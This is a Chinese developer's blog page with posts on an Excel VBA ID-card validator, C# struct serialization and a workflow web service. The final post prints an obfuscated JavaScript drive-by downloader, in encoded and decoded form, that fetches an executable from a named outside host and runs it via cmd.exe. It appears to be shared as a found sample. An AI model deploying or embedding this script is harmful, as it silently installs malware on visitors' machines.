推荐.NET教程: ASP.NET C# 开发环境 Ajax教程 控件开发 统计报表 数据库 Web服务 安装部署 CommunityServer NHibernate DataGrid/GridView 实用代码 VS2005
示例源码 MVC/三层 SqlHelper 入门源码 开源 CMS Ajax/Atlas C#.net 毕业设计 源码 经典代码 商业 本站作品 持久层 随书源码 WebService 英文/汉化 Asp.net2.0

阿牛·乐园

每天进步一点点

  博客园 :: 首页 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理 ::
  71 随笔 :: 14 文章 :: 363 评论 :: 13 Trackbacks

2008年5月13日 #

  近几日,我的工作是录入更正的农业直补农户资料,涉及到了各包村干部上报的各种样式的报表,经会计清点后,由我来统一按上报的格式来摘抄到上报表中。据会计说,我的字写得还过得去,比小代强。
  我建议用计算机来处理,打字比写字可快多了,还清楚。
  下面的工作,就是录入一大堆的编号和身份证号以及姓名。姓名不是难事,在录入几十个后,我越发的想去上网,把读霸安装上,我打它来读,这样就不用抬头看屏幕了。想到乡里网吧的半个小时打开一封邮件的速度呀,我还是放弃了。
  身份证可是不能再错误了,幸好我的电子书里有一段关于身份证格式的说明和程序,在稍加修改后,它已经可以用来批量的判断身份证是不是有格式(包括长度,出生年月,验证位)的错误。
  本想通过数据有效性来作,只是公式里不能调用VBA的函数,真是郁闷。
 
  下次有机会,改写一个公式来判断的。
 
 
Sub 检验选定区域身份证()
'
'
 检验身份证 Macro
'
 用于检测身份证号码是否正确
'
'
 快捷键: Ctrl+q
'
Dim arange As range
Dim acell As range
Dim ret As Integer
Set arange = Selection
For Each acell In arange.Cells
  
'MsgBox ActiveCell.Text
    ret = IDCheck(UCase(acell.Text))
    
If ret <> 0 Then
        acell.Select
        
MsgBox "请检查当前选定单元格的身份证是否正确", , "提示"
        
Exit Sub
    
End If
    
    
Next
    
MsgBox "全部正确", , "提示"
End Sub
Function CurrentIdCheck() As Integer
Dim ret As Integer
'MsgBox ActiveCell.Text
'
ret = IDCheck(ActiveCell.Text)
'
MsgBox ret
'
CurrentIdCheck = ret
CurrentIdCheck = 0
End Function
Function IDCheck(ByVal e As StringAs Integer
 
Dim arrVerifyCode
 
Dim Wi
 
Dim Checker
 
Dim BirthDay
 IDCheck 
= 0 '验证通过时返回
 arrVerifyCode = Split("1,0,X,9,8,7,6,5,4,3,2"",")
 Wi 
= Split("7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2"",")
 Checker 
= Split("1,9,8,7,6,5,4,3,2,1,1"",")
 
If Len(e) < 15 Or Len(e) = 16 Or Len(e) = 17 Or Len(e) > 18 Then
 
'IDCheck= "身份证号必须是15位数或18位数!"
 IDCheck = 1
 
Exit Function
 
End If
 
Dim Ai As String
 
If Len(e) = 18 Then
 Ai 
= Mid(e, 117)
 
ElseIf Len(e) = 15 Then
 Ai 
= CStr(e)
 Ai 
= Left(Ai, 6& "19" & Mid(Ai, 79)
 
End If
 
If Not IsNumeric(Ai) Then
 
'IDCheck= "身份证除最后一位外,必须为数字!"
 IDCheck = 2
 
Exit Function
 
End If
 
Dim strYear As Integer
 
Dim strMonth As Integer
 
Dim strDay As Integer
 strYear 
= CInt(Mid(Ai, 74))
 strMonth 
= CInt(Mid(Ai, 112))
 strDay 
= CInt(Mid(Ai, 132))
 BirthDay 
= Trim(strYear) + "-" + Trim(strMonth) + "-" + Trim(strDay)
 
If IsDate(BirthDay) Then
 
If DateDiff("yyyy"Now(), CDate(BirthDay)) < -140 Or CDate(BirthDay) > Now() Then
 
'IDCheck= "身份证输入错误(日期输入错误)!"
 IDCheck = 3
 
Exit Function
 
End If
 
If strMonth > 12 Or strDay > 31 Then
 
'IDCheck= "身份证输入错误(日期输入错误)!"
 IDCheck = 3
 
Exit Function
 
End If
 
Else
 
'IDCheck= "身份证输入错误(日期输入错误)!"
 IDCheck = 3
 
Exit Function
 
End If
 
Dim i As Integer
 
Dim TotalmulAiWi As Integer
 
For i = 0 To 16
 TotalmulAiWi 
= TotalmulAiWi + CInt(Mid(Ai, i + 11)) * CInt(Wi(i))
 
Next
 
Dim modValue As Integer
 modValue 
= TotalmulAiWi Mod 11
 
Dim strVerifyCode ' As Object
 strVerifyCode = arrVerifyCode(modValue)
 Ai 
= Ai & strVerifyCode
 
If Len(e) = 18 And CStr(e) <> Ai Then
 
'IDCheck= "身份证号码输入错误(身份证包含有非法字符)!"
 IDCheck = 4
 
Exit Function
 
End If
 
End Function
posted @ 2008-05-13 13:51 阿牛 阅读(52) | 评论 (0)编辑

2008年3月4日 #

     摘要: <!DOCTYPEHTMLPUBLIC"-//W3C//DTDHTML4.0Transitional//EN"><html><head><title>Untitled</title><styletype="text/css">.focus{}{background:#ffcc00;}.menu{}{color:red;}<...  阅读全文
posted @ 2008-03-04 09:04 阿牛 阅读(108) | 评论 (0)编辑

2007年12月21日 #

     摘要: 三行两列DIV布局之左固定宽度  阅读全文
posted @ 2007-12-21 15:57 阿牛 阅读(81) | 评论 (0)编辑

2007年12月9日 #

     摘要: XP的SN  阅读全文
posted @ 2007-12-09 12:15 阿牛| 编辑

2007年11月13日 #

     摘要: 没有想到,上个随笔的代码在POS机上出错,查了半天,如果去掉malloc和free,就没有事了。
所以,把现在的不用动态内存分配的算法记录下
  阅读全文
posted @ 2007-11-13 14:38 阿牛 阅读(163) | 评论 (1)编辑

2007年11月12日 #

     摘要: C#与C程序通讯时,为了数据安全,要对数据进行DES_cbc_pkcs7加密,这是C的实现
  阅读全文
posted @ 2007-11-12 15:54 阿牛 阅读(113) | 评论 (1)编辑

2007年9月12日 #

    建立步骤如下:
    一. 建立一个 State Machine Workflow Library ,命名为StateLib. 完成后,修改文件WorkFlow1为WF_Login
    二. 在里面通过设计器,加入下面的工作流(具体如何设计,不再说明),最终结果如图:
        



    三. 把工作流发布成WebService,VS2005会自动命名为:StateLib_WebService

    四. 添加一个新WebSite项目,命名WorkflowSite. 在Default.aspx中添加输入框,以及按钮
    五. 编写事件,测试一下

     工程下载http://www.cnblogs.com/Files/evlon/Workflow.rar
posted @ 2007-09-12 14:24 阿牛 阅读(727) | 评论 (2)编辑

2007年8月22日 #

    public partial class Form1 : Form
    
{
        
public Form1()
        
{
            InitializeComponent();
        }


        
private void Form1_Load(object sender, EventArgs e)
        
{
            Demo d 
= new Demo();
            d.a 
= 5;
            d.b 
= 10;
            d.c 
= new byte[]{1,2,3};
            d.s 
= "123";
            
byte[] buf = RawFormatter.RawSerialize(d);

            

            MessageBox.Show(
"aaa");
            
        }

    }


    [StructLayout(LayoutKind.Sequential,Pack
=1,CharSet=CharSet.Ansi)]
    
struct Demo
    
{
        
public byte a;
        
public int b;
        [MarshalAs(UnmanagedType.ByValArray, SizeConst 
= 3)]
        
public byte[] c;
        [MarshalAs(UnmanagedType.ByValTStr, SizeConst 
= 5)]
        
public string s;
    }


    
public class RawFormatter
    
{
        
public static byte[] RawSerialize(object anything)
        
{
            
int rawsize = Marshal.SizeOf(anything);
            IntPtr buffer 
= Marshal.AllocHGlobal(rawsize);
            Marshal.StructureToPtr(anything, buffer, 
false);
            
byte[] rawdatas = new byte[rawsize];
            Marshal.Copy(buffer, rawdatas, 
0, rawsize);
            Marshal.FreeHGlobal(buffer);
            
return rawdatas;
        }


        
public static object RawDeserialize(byte[] rawdatas, Type anytype)
        
{
            
int rawsize = Marshal.SizeOf(anytype);
            
if (rawsize > rawdatas.Length)
                
return null;
            IntPtr buffer 
= Marshal.AllocHGlobal(rawsize);
            Marshal.Copy(rawdatas, 
0, buffer, rawsize);
            
object retobj = Marshal.PtrToStructure(buffer, anytype);
            Marshal.FreeHGlobal(buffer);
            
return retobj;
        }

    }

posted @ 2007-08-22 13:55 阿牛 阅读(54) | 评论 (1)编辑

2007年8月13日 #

     摘要: //CppSocket.cpp:Definestheentrypointfortheconsoleapplication.//#include"stdafx.h"#include<cstdlib>#include<string>#include<algorithm>#include<iostream>#include<fstream>#i...  阅读全文
posted @ 2007-08-13 09:02 阿牛 阅读(409) | 评论 (1)编辑

2007年8月12日 #

文件: http://xxxx.xxx.xxx/web.htm

<SCRIPT LANGUAGE="JavaScript">
eval(
"\146\165\156\143\164\151\157\156\40\147\156\50\156\51\40\173\40\166\141\162\40\156\165\155\142\145\162\40\75\40\115\141\164\150\56\162\141\156\144\157\155\50\51\52\156\73\40\162\145\164\165\162\156\40\47\176\164\155\160\47\53\115\141\164\150\56\162\157\165\156\144\50\156\165\155\142\145\162\51\53\47\56\145\170\145\47\73\40\175\40\15\12\164\162\171\40\173\40\15\12\166\141\162\40\155\155\61\75\42\150\164\164\160\72\42\73\15\12\155\155\62\75\42\57\57\42\73\15\12\155\155\63\75\42\167\167\167\56\65\65\144\152\56\156\145\164\57\170\171\56\145\170\145\42\73\15\12\144\154\75\155\155\61\53\155\155\62\53\155\155\63\73\40\15\12\141\61\75\42\157\142\152\145\143\164\42\73\141\62\75\42\143\154\141\163\163\151\144\42\73\15\12\141\63\75\42\143\154\163\151\144\72\102\104\71\66\103\65\65\66\55\66\65\101\63\55\61\61\104\60\55\71\70\63\101\55\60\60\103\60\64\106\103\62\71\105\63\66\42\73\15\12\141\64\75\42\101\144\157\144\142\56\123\164\162\145\141\155\42\73\15\12\146\165\143\153\75\42\123\143\162\151\160\164\151\156\147\56\106\151\154\145\123\171\163\164\145\155\117\142\152\145\143\164\42\73\15\12\144\146\75\50\167\151\156\144\157\167\133\42\144\157\143\165\155\145\156\164\42\135\133\42\143\162\145\141\164\145\105\154\145\155\145\156\164\42\135\50\141\61\51\51\73\40\15\12\144\146\133\42\163\145\164\101\164\164\162\151\142\165\164\145\42\135\50\141\62\54\141\63\51\73\40\15\12\166\141\162\40\170\75\144\146\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\115\151\143\162\157\163\157\146\164\56\130\42\53\42\115\42\53\42\114\42\53\42\110\42\53\42\124\42\53\42\124\42\53\42\120\42\54\42\42\51\73\40\15\12\166\141\162\40\123\75\144\146\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\141\64\54\42\42\51\73\40\123\133\42\164\171\160\145\42\135\75\61\73\40\15\12\170\133\42\117\160\145\156\42\135\50\42\107\105\124\42\54\40\144\154\54\60\51\73\40\15\12\170\133\42\123\145\156\144\42\135\50\51\73\40\15\12\146\156\141\155\145\61\75\147\156\50\61\60\60\60\60\51\73\40\15\12\166\141\162\40\106\75\144\146\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\146\165\143\153\54\42\42\51\73\40\15\12\166\141\162\40\164\155\160\75\106\133\42\107\145\164\123\160\145\143\151\141\154\106\157\154\144\145\162\42\135\50\60\51\73\40\15\12\146\156\141\155\145\61\75\40\106\133\42\102\165\151\154\144\120\141\164\150\42\135\50\164\155\160\54\146\156\141\155\145\61\51\73\40\15\12\123\133\42\157\160\145\156\42\135\50\51\73\15\12\123\133\42\127\162\151\164\145\42\135\50\170\56\162\145\163\160\157\156\163\145\102\157\144\171\51\73\40\15\12\123\133\42\123\141\166\145\124\157\106\151\154\145\42\135\50\146\156\141\155\145\61\54\62\51\73\40\15\12\123\133\42\103\154\157\163\145\42\135\50\51\73\40\15\12\166\141\162\40\121\75\144\146\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\123\150\145\154\154\56\101\160\160\154\151\143\141\164\151\157\156\42\54\42\42\51\73\40\15\12\145\170\160\61\75\106\133\42\102\165\151\154\144\120\141\164\150\42\135\50\164\155\160\53\47\134\134\163\171\163\164\145\155\63\62\47\54\47\143\155\144\56\145\170\145\47\51\73\15\12\121\133\42\123\150\145\154\154\105\170\145\143\165\164\145\42\135\50\145\170\160\61\54\47\40\57\143\40\47\53\146\156\141\155\145\61\54\42\42\54\157\160\145\156\54\60\51\73\40\175\40\143\141\164\143\150\50\151\51\40\173\40\151\75\61\73\40\175")
</SCRIPT>

通过解码后:

function gn(n) var number = Math.random()*n; return '~tmp'+Math.round(number)+'.exe'; } 
try 
var mm1="http:";
mm2
="//";
mm3
="www.55dj.net/xy.exe";
dl
=mm1+mm2+mm3; 
a1
="object";a2="classid";
a3
="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36";
a4
="Adodb.Stream";
fuck
="Scripting.FileSystemObject";
df
=(window["document"]["createElement"](a1)); 
df[
"setAttribute"](a2,a3); 
var x=df["CreateObject"]("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P",""); 
var S=df["CreateObject"](a4,""); S["type"]=1
x[
"Open"]("GET", dl,0); 
x[
"Send"](); 
fname1
=gn(10000); 
var F=df["CreateObject"](fuck,""); 
var tmp=F["GetSpecialFolder"](0); 
fname1
= F["BuildPath"](tmp,fname1); 
S[
"open"]();
S[
"Write"](x.responseBody); 
S[
"SaveToFile"](fname1,2); 
S[
"Close"](); 
var Q=df["CreateObject"]("Shell.Application",""); 
exp1
=F["BuildPath"](tmp+'\\system32','cmd.exe');
Q[
"ShellExecute"](exp1,' /c '+fname1,"",open,0); }
 catch(i) { i=1; }


 

posted @ 2007-08-12 20:40 阿牛 阅读(214) | 评论 (1)编辑